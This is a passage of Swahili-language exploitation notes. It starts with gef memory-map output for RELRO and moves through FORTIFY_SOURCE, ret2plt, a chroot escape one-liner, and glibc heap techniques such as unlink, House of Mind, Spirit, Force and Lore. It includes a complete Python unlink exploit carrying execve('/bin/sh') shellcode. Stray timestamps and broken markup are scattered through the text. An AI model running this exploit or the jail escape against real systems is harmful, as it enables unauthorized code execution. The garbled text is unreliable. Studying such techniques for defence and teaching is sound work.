0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
2024-02-11 02:13:58 +00:00
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
2024-02-11 02:13:58 +00:00
Bila relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
2024-02-11 02:13:58 +00:00
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
Kwa binary **bila relro**, tunaweza kuona kuwa anwani ya kuingia ya `got` kwa `fgets` ni `0x404018`. Tukiangalia ramani za kumbukumbu tunagundua kuwa iko kati ya `0x404000` na `0x405000`, ambayo ina **ruhusa `rw`**, maana yake tunaweza kusoma na kuandika kwake. Kwa binary **yenye relro**, tunaona kuwa anwani ya jedwali la `got` kwa kukimbia kwa binary (pie imewezeshwa hivyo anwani hii itabadilika) ni `0x555555557fd0`. Katika ramani ya kumbukumbu ya binary hiyo inaangukia kati ya `0x0000555555557000` na `0x0000555555558000`, ambayo ina ruhusa ya kumbukumbu **`r`**, maana yake tunaweza tu kusoma kutoka kwake.
2021-09-26 15:10:12 +00:00
Kwa hivyo ni **vipi kuvuka**? Kuvuka kawaida ninayotumia ni kutofautisha kuandika kwenye maeneo ya kumbukumbu ambayo relro husababisha kuwa ya kusoma tu, na **kupata njia tofauti ya kupata utekelezaji wa nambari**.
2021-09-26 15:10:12 +00:00
Tafadhali elewa kuwa ili hili litokee binary inahitaji kujua kabla ya utekelezaji anwani za kazi:
2021-09-26 15:10:12 +00:00
* Kufunga kwa uvivu: Anwani ya kazi inatafutwa mara ya kwanza kazi inaitwa. Kwa hivyo, GOT inahitaji kuwa na ruhusa ya kuandika wakati wa utekelezaji.
* Funga sasa: Anwani za kazi zinafumbuliwa mwanzoni mwa utekelezaji, kisha ruhusa za kusoma tu zinapewa sehemu nyeti kama .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
2021-09-26 15:10:12 +00:00
Ili kuchunguza ikiwa programu inatumia Funga sasa unaweza kufanya:
2021-09-26 15:10:12 +00:00
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Wakati binary inapakiwa kumbukani na kazi inaitwa kwa mara ya kwanza, inaruka kwenye PLT (Procedure Linkage Table), kutoka hapo inafanya kuruka (jmp) kwenye GOT na kugundua kuwa ingizo hilo halijaresishwa (linamiliki anwani inayofuata ya PLT). Kwa hivyo inaita Runtime Linker au rtfd ili kuresisha anwani na kuifadhi kwenye GOT.
2021-09-26 15:10:12 +00:00
Kuwaita kazi kunaita PLT, ambayo ina anwani ya GOT ambapo anwani ya kazi imehifadhiwa, kwa hivyo inaelekeza mtiririko huko na hivyo kuita kazi. Walakini, ikiwa ni mara ya kwanza kuita kazi, kile kilicho kwenye GOT ni maagizo inayofuata ya PLT, kwa hivyo mtiririko unaendelea kwenye nambari ya PLT (rtfd) na kugundua anwani ya kazi, kuifadhi kwenye GOT na kuuita.
Kupakia binary kumbukani, compiler imesema wapi kuweka data ambazo zinapaswa kupakiwa wakati programu inaendeshwa.
Lazy binding —> Anwani ya kazi inatafutwa mara ya kwanza kazi hiyo inaitwa, kwa hivyo GOT ina ruhusa ya kuandika ili wakati inatafutwa, iwekwe hapo na isitafutwe tena.
Bind now —> Anwani za kazi zinatafutwa wakati programu inapakia na ruhusa za sehemu .got, .dtors, .ctors, .dynamic, .jcr zinabadilishwa kuwa za kusoma tu. **-z relro** na **-z now**
Licha ya hivyo, kwa ujumla programu hazijajaa na chaguo hizo kwa hivyo mashambulizi haya bado yanawezekana.
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Kujua ikiwa wanatumia BIND NOW
**Fortify Source -D\_FORTIFY\_SOURCE=1 au =2**
Jaribu kutambua kazi ambazo zinakopi kutoka sehemu moja hadi nyingine kwa njia isiyo salama na ubadilishe kazi hiyo na kazi salama.
Kwa mfano:\
char buf\[16];\
strcpy(but, chanzo);
Inatambua kama isiyo salama kwa hivyo badala yake inabadilisha strcpy() na \_\_strcpy\_chk() ikitumia ukubwa wa buffer kama ukubwa wa juu wa kopi.
Tofauti kati ya **=1** au **=2** ni kwamba:
Ya pili haikubali **%n** kutoka sehemu na ruhusa ya kuandika. Pia, parameter ya ufikiaji wa moja kwa moja wa hoja inaweza kutumika tu ikiwa zimetumiwa hapo awali, yaani, inaweza kutumika tu **%3$d** ikiwa **%2$d** na **%1$d** zimetumiwa hapo awali.
Kutumia argv\[0] kuonyesha ujumbe wa kosa, kwa hivyo ikiwekwa kwenye anwani nyingine (kama kwenye kibadala cha kawaida) ujumbe wa kosa utaonyesha maudhui ya kibadala hicho. Uk. 191
**Kuchukua nafasi ya Libsafe**
Inaanzishwa na: LD\_PRELOAD=/lib/libsafe.so.2\
au\
“/lib/libsave.so.2” > /etc/ld.so.preload
Inazuia wito wa kazi fulani zisizo salama kwa kazi zingine salama. Haijathibitishwa (kwa x86 pekee, sio kwa uundaji wa -fomit-frame-pointer, sio uundaji wa static, sio kila kazi inayoweza kudhuriwa inageuzwa kuwa salama na LD\_PRELOAD haifanyi kazi kwa binary zenye suid).
**ASCII Armored Address Space**
Inahusisha kupakia maktaba zilizoshirikiwa kutoka 0x00000000 hadi 0x00ffffff ili daima iwe na byte 0x00. Walakini, hii kimsingi haizuili mashambulizi mengi, haswa katika mfumo wa little endian.
**ret2plt**
Inahusisha kufanya ROP ili kuita kazi strcpy@plt (kutoka plt) na kuelekeza kuingia kwenye GOT na kunakili byte ya kwanza ya kazi unayotaka kuita (system()). Kisha unafanya hivyo hilo hilo ukiashiria GOT+1 na kunakili byte ya pili ya system()… Mwishowe unaita anwani iliyohifadhiwa kwenye GOT ambayo itakuwa system()
**Falso EBP**
Kwa kazi zinazotumia EBP kama usajili wa kuashiria hoja wakati wa kubadilisha EIP na kuashiria kwa system(), EBP pia lazima ibadilishwe ili kuashiria eneo la kumbukumbu lenye byte 2 yoyote kwanza na kisha anwani ya &”/bin/sh”.
**Jaulas na chroot()**
debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya saraka maalum
Msimamizi anaweza kutoka kwenye jaula kama hizo kwa kufanya: mkdir foo; chroot foo; cd ..
**Ugunduzi wa Kanuni**
Valgrind —> Inatafuta makosa\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Mwagilio wa Heap: Mashambulizi ya Msingi**
**Kipande kilichopewa**
prev\_size |\
size | —Kichwa\
\*mem | Data
**Kipande huru**
prev\_size |\
size |\
\*fd | Ptr mbele ya kipande\
\*bk | Ptr nyuma ya kipande —Kichwa\
\*mem | Data
Vipande huru viko kwenye orodha iliyofungwa mara mbili (bin) na kamwe haiwezi kuwa na vipande huru viwili pamoja (vinajiunga)
Kwenye "size" kuna bits za kuonyesha: Ikiwa kipande kilichotangulia kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande kinamilikiwa na uwanja wa msingi.
Ikiwa kipande kimoja huru, vipande vingine vinavyopakuliwa vinapounganishwa kupitia macro unlink() na kipande kipya kikubwa zaidi kinapitishwa kwa frontlink() ili kiingize bin sahihi.
unlink(){\
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa huru awali\
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa huru awali\
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwenye kipande kipya\
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwenye kipande kipya\
2024-02-11 02:13:58 +00:00
}
Kwa hivyo, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani ya kuingia kwenye GOT au DTORS chini ya 12, tunafanikiwa:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Na hivyo shellcode inatekelezwa wakati programu inamalizika.
Zaidi, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima ibadilishwe kwa hili:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Hii husababisha kuandika byte 4 kutoka kwa byte ya 8 ya shellcode, kwa hivyo maagizo ya kwanza ya shellcode lazima iwe jmp ili kusonga hili na kufikia nops ambayo inaendelea na shellcode.
Kwa hivyo, shambulio linajengwa:
Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iangukie kwenye nops au sehemu iliyobaki ya shellcode.
Baada ya shell code tunaweka kujaza hadi kufikia uwanja wa prev\_size na size wa kipande kinachofuata. Maeneo haya tunaweka 0xfffffff0 (ili kubadilisha prev\_size ili iwe na bit inayosema ni huru) na “-4“(0xfffffffc) kwenye size (ili wakati wa kuchunguza kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kweli iende kwa prev\_size iliyobadilishwa ambayo itasema kwamba ni huru) -> Hivyo wakati free() inachunguza itaenda kwa size ya 3 lakini kwa kweli itaenda kwa 2 - 4 na kufikiria kipande cha 2 ni huru. Na kisha itaita **unlink()**.
Kuita unlink() kutatumia kama P->fd data za kwanza za kipande cha 2 kwa hivyo anwani inayotaka kubadilishwa - 12(kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa kwenye FD) itaingizwa hapo. Na kwenye anwani hiyo itaingiza anwani ya pili inayopatikana kwenye kipande cha 2, ambayo itakuwa anwani ya shellcode(P->bk bandia).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes ya kujaza**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Ni muhimu kwamba bit inayoonyesha kuwa kipande kilichotangulia ni huru iwe 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, ili iweze kufikiria kuwa "size" ya kipande cha 3 iko nyuma kwa bytes 4 (inatazama prev\_size) kwani ndipo inapotazama ikiwa kipande cha 2 kiko huru**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Katika payload mwanzoni tutaweka bytes 8 za kujaza**
**got\_free = pack("\<I", 0x08048300 - 12) #Anwani ya free() kwenye plt-12 (itakuwa anwani itakayobadilishwa ili shellcode iitwe mara ya pili free inaitwa)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Kama ilivyosemwa payload inaanza na bytes 8 za kujaza kwa sababu**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Kipande cha 2 kinabadilishwa, got\_free inalenga mahali tutahifadhi anwani addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() ikiondoa kwa mpangilio wa nyuma (wargame)**
Tunadhibiti vipande 3 mfululizo na kuviondoa kwa mpangilio wa nyuma ya vile vilivyohifadhiwa.
Katika kesi hiyo:
Katika kipande c tunaweka shellcode
Tunatumia kipande a kusajili upya b ili ukubwa uwe na biti ya PREV\_INUSE iliyozimwa ili iweze kufikiria kipande a kiko huru.
Zaidi ya hayo, tunasajili upya ukubwa katika kichwa cha b ili iwe -4.
Kwa hiyo, programu itafikiria "a" iko huru na kwenye bin, kwa hivyo itaita unlink() kuiondoa. Hata hivyo, kwa kuwa kichwa cha PREV\_SIZE ni -4. Itafikiria kipande cha "a" kwa kweli kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kipande kinachoanza kwenye b+4, kwa hivyo b+12 kutakuwa na pointer "fd" na b+16 kutakuwa na pointer "bk".
Kwa njia hii, tukiweka anwani ya shellcode kwenye bk na anwani ya kazi ya "puts()"-12 kwenye fd tunapata payload yetu.
**Mbinu ya Frontlink**
Frontlink inaitwa wakati kitu kinapofutwa na hakuna vipande vyake vya jirani vilivyo huru, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.
Udhaifu ni muhimu wakati malloc inayoshambuliwa kamwe haijafutwa (free()).
2024-02-11 02:13:58 +00:00
Inahitaji:
Buffer ambalo linaweza kufurika na kazi ya kuingiza data
Buffer unaoambatana na huu ambao unapaswa kufutwa na ambao utabadilisha uga wa fd wa kichwa chake kwa sababu ya kufurika kwa buffer uliopita
Buffer ya kufutwa na ukubwa mkubwa kuliko 512 lakini ndogo kuliko buffer uliopita
Buffer uliotangazwa kabla ya hatua ya 3 ambayo inaruhusu kusajili upya prev\_size ya hii
Kwa njia hii, kwa kusajili upya kwa njia isiyo na kudhibitiwa katika mallocs mbili na moja kwa njia inayodhibitiwa lakini inayofutwa tu, tunaweza kufanya shambulio.
**Udhaifu wa double free()**
2024-02-11 02:13:58 +00:00
Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria anwani ile ile.
Ikiwa unataka kutumia moja tena, unaweza kuipata bila shida. Ikiwa unataka kutumia nyingine, utapewa nafasi ile ile kwa hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayoandikwa na akiba ya awali.
2024-02-11 02:13:58 +00:00
**Baada ya free()**
Pointer iliyofutwa awali inatumika tena bila kudhibitiwa.
## **8 Mafuriko ya Heap: Exploits ya juu**
Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().
2022-04-28 23:27:22 +00:00
**The house of mind**
Wito mmoja tu wa free() unahitajika kusababisha utekelezaji wa nambari ya aina ya kiholela. Ni muhimu kutafuta kipande cha pili ambacho kinaweza kufurika na kimoja cha awali na kufutwa.
Wito wa free() husababisha wito wa public\_fREe(mem), hii inafanya:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
2024-02-11 02:13:58 +00:00
p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kipande kinaanza (mem-8)
2022-02-28 09:13:08 +00:00
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
Katika \[1] inathibitisha uga wa ukubwa wa NON\_MAIN\_ARENA, ambao unaweza kubadilishwa ili uhakiki irudishe kweli na kutekeleza heap\_for\_ptr() ambayo inafanya and kwa "mem" ikiiacha 0 bytes 2.5 zisizo na maana (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar\_ptr (kama vile ni muundo wa struct heap\_info)
Kwa njia hii, ikiwa tunaweza kudhibiti kipande kwa mfano kwenye 0x0804a000 na kipande kitafutwa kwenye **0x081002a0** tunaweza kufikia anwani ya 0x08100000 na kuandika chochote tunachotaka, kwa mfano **0x0804a000**. Wakati kipande cha pili kitakapofutwa, itagundua kwamba heap\_for\_ptr(ptr)->ar\_ptr inarudisha kile tulichoandika kwenye 0x08100000 (kwa sababu inatumia and kama ilivyoonekana hapo awali na kutoka hapo inachukua thamani ya bytes 4 za kwanza, ar\_ptr)
Kwa njia hii wito wa \_int\_free(ar\_ptr, mem) unaitwa, yaani, **\_int\_free(0x0804a000, 0x081002a0)**\
2022-02-28 09:13:08 +00:00
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kipande kitakachofutwa.
Kama ilivyoainishwa unsorted\_chunks, tunajua kwamba:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Kwa hivyo ikiwa tunaweza kuandika thamani ya \_\_DTOR\_END\_\_-12 kwenye av->bins\[2] kwenye hatua ya mwisho itaandikwa kwenye \_\_DTOR\_END\_\_ anwani ya kipande cha pili.
Yaani, kwenye kipande cha kwanza tunahitaji kuweka mwanzoni mara nyingi anwani ya \_\_DTOR\_END\_\_-12 kwa sababu ndio itakayotolewa na av->bins\[2]
Kwenye anwani ambayo itaanguka anwani ya kipande cha pili na sifuri tano za mwisho tunahitaji kuandika anwani ya kipande cha kwanza ili heap\_for\_ptr() iweze kufikiria ar\_ptr iko mwanzoni mwa kipande cha kwanza na kutoa av->bins\[2] kutoka hapo
Kwenye kipande cha pili na kwa msaada wa kipande cha kwanza tunasajili upya prev\_size na jump 0x0c na ukubwa na kitu cha kuamsha -> NON\_MAIN\_ARENA
Kisha kwenye kipande cha pili tunaweka nyingi za nops na mwishowe shellcode
Kwa njia hii wito wa \_int\_free(TROZO1, TROZO2) utaitwa na kufuata maagizo ya kuandika kwenye \_\_DTOR\_END\_\_ anwani ya prev\_size ya TROZO2 ambayo itaruka kwenye shellcode.
Kuomba mbinu hii kuna mahitaji kadhaa zaidi ambayo yanafanya payload kuwa ngumu kidogo zaidi.
Hii mbinu sio tena tena kwa sababu karibu na kufanyiwa marekebisho sawa na unlink. Wanalinganisha ikiwa tovuti mpya inayolengwa pia inamlenga.
**Fastbin**
Ni tofauti ya The house of mind
tunataka kutekeleza kanuni ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi ya \_int\_free()
2024-02-11 02:13:58 +00:00
fb = &(av->fastbins\[fastbin\_index(size)] —> Ikiwa fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Kwa njia hii, ikiwa inawekwa kwenye "fb" inatoa anwani ya kazi kwenye GOT, kwenye anwani hii anwani ya kipande iliyobadilishwa itawekwa. Kwa hili, itakuwa muhimu kwamba uwanja uko karibu na anwani za dtors. Hasa, av->max\_fast iko kwenye anwani ambayo tunataka kubadilisha.
Kwa kuwa na The House of Mind tuliona kwamba sisi tulidhibiti nafasi ya av.
Kwa hivyo ikiwa tunaweka ukubwa wa 8 + NON\_MAIN\_ARENA + PREV\_INUSE kwenye uga wa ukubwa —> fastbin\_index() itarudisha fastbins\[-1], ambayo italenga av->max\_fast
Katika kesi hii av->max\_fast itakuwa anwani ambayo itabadilishwa (sio anwani inayolengwa, lakini nafasi hiyo itabadilishwa).
Pia lazima iwe kwamba kipande kilicho karibu na kilichofutwa kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 8, kwenye kipande hiki bandia tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye kipande kilichofutwa, itabidi tuweke mwanzoni mwa jmp inayoelekea kwenye nops).
Pia, kipande hicho bandia lazima kiwe kidogo kuliko av->system\_mem. av->system\_mem iko 1848 bytes mbali.
Kwa sababu ya nulls za \_DTOR\_END\_ na anwani chache kwenye GOT, hakuna anwani kutoka sehemu hizi zinazofaa kubadilishwa, kwa hivyo tuone jinsi ya kutumia fastbin kushambulia safu.
Njia nyingine ya shambulio ni kuelekeza **av** kuelekea safu.
Ikiwa tunabadilisha ukubwa ili iwe 16 badala ya 8 basi: fastbin\_index() itarudisha fastbins\[0] na tunaweza kutumia hii kubadilisha safu.
Kwa hili, hakuna canary au thamani za ajabu kwenye safu, kwa kweli tunahitaji kuwa katika hali hii: 4bytes za null + EBP + RET
4 bytes za null zinahitajika ili **av** iwe kwenye anwani hii na kipengele cha kwanza cha **av** ni mutex ambayo lazima iwe 0.
**av->max\_fast** itakuwa EBP na itakuwa thamani ambayo itatusaidia kusonga vizuizi.
Kwenye **av->fastbins\[0]** itabadilishwa na anwani ya **p** na itakuwa RET, hivyo itaruka kwenye shellcode.
Pia, kwenye **av->system\_mem** (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kusonga ukaguzi uliofanywa.
Pia lazima iwe kwamba kipande kilicho karibu na kilichofutwa kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 16, kwenye kipande hiki bandia tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye kipande kilichofutwa, itabidi tuweke mwanzoni mwa jmp inayoelekea kwenye nops zilizo baada ya uga wa ukubwa wa kipande kipya bandia).
**The House of Spirit**
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye safu chini ya overflow inayowezekana kwa kipengele).
Hivyo, tunaweza kufanya pointer huu uelekee popote. Walakini, sio kila eneo ni sahihi, ukubwa wa kipande kilichobadilishwa lazima uwe mdogo kuliko av->max\_fast na hasa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa kuharibika kuna wito wa malloc(40), ukubwa wa kipande bandia lazima uwe sawa na 48.
Kwa mfano, ikiwa programu itauliza mtumiaji nambari tunaweza kuingiza 48 na kuuelekeza pointer wa malloc uliobadilishwa kwa 4bytes zifuatazo (ambazo zinaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 iko nyuma, kana kwamba ni kichwa cha ukubwa). Kwa kuongezea, anwani ptr-4+48 lazima itimize masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system\_mem.
Ikiwa hii itatimizwa, wakati wito ufuatao wa malloc ambao tulisema ni malloc(40) utaitwa, anwani yake itakuwa anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii anaweza kubadilisha EBP na EIP na anwani anayotaka.
Nadhani hii ni kwa sababu wakati free() inafuta itahifadhi kwamba kuna kipande cha ukubwa kamili kwa malloc() mpya inayotaka kuweka akiba, hivyo inampa anwani hiyo.
**The House of Force**
2024-02-11 02:13:58 +00:00
Inahitajika:
* Kuvuja kwa kipande ambacho inaruhusu kubadilisha wilderness
2024-02-11 02:13:58 +00:00
* Wito wa malloc() na ukubwa uliowekwa na mtumiaji
* Wito wa malloc() ambao data zake zinaweza kuwa zimefafanuliwa na mtumiaji
Jambo la kwanza linalofanywa ni kubadilisha ukubwa wa kipande cha wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa kutosha litashughulikiwa katika \_int\_malloc() bila haja ya kupanua heap
Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama safu. Kwenye av->top itawekwa \&EIP - 8.
Tunahitaji kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim inachukua thamani ya anwani ya kipande cha wilderness cha sasa (av->top ya sasa) na remainder ni haswa jumla ya anwani hiyo plus idadi ya bytes iliyotakiwa na malloc(). Kwa hivyo ikiwa \&EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi kiasi tunachohitaji kuweka akiba kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() ijayo itakuwa:
0xbffff224 - 0x080c2788 = 3086207644.
Hivyo thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc ijayo itaelekeza kwa EIP na itaweza kubadilishwa.
Ni muhimu kujua kwamba ukubwa wa kipande kipya cha wilderness uwe mkubwa kuliko ombi lililofanywa na malloc() ya mwisho. Yaani, ikiwa wilderness inaelekeza kwa \&EIP-8, ukubwa utabaki kwenye uga wa EBP wa safu.
**The House of Lore**
**Corruption SmallBin**
Vipande vilivyofutwa vinawekwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuwekwa, vinahifadhiwa kwenye unsorted bins. Kipande kilichofutwa hakijawekwa moja kwa moja kwenye bin yake bali kinabaki kwenye unsorted bins. Kisha, ikiwa kipande kipya kinaweza kutumika kwa kipande kilichofutwa, kinarejeshwa, lakini ikiwa kipande kikubwa zaidi kinahitajika, kipande kilichofutwa kwenye unsorted bins kinawekwa kwenye bin yake sahihi.
Ili kufikia kanuni inayoweza kudhuriwa, ombi la kumbukumbu lazima liwe kubwa kuliko av->max\_fast (kawaida 72) na chini ya MIN\_LARGE\_SIZE (512).
Ikiwa kuna kipande kwenye bin lenye ukubwa unaofaa kwa ombi, kipande hicho kitarejeshwa baada ya kufunguliwa:
bck = victim->bk; Inaelekeza kwenye kipande kilichotangulia, hii ndio habari pekee tunayoweza kubadilisha.
bin->bk = bck; Kipande cha pili kutoka mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye safu, kipande kifuatacho kitapewa anwani hii
bck->fd = bin; Kufunga orodha kwa kufanya hii ielekee kwa bin
Inahitajika:
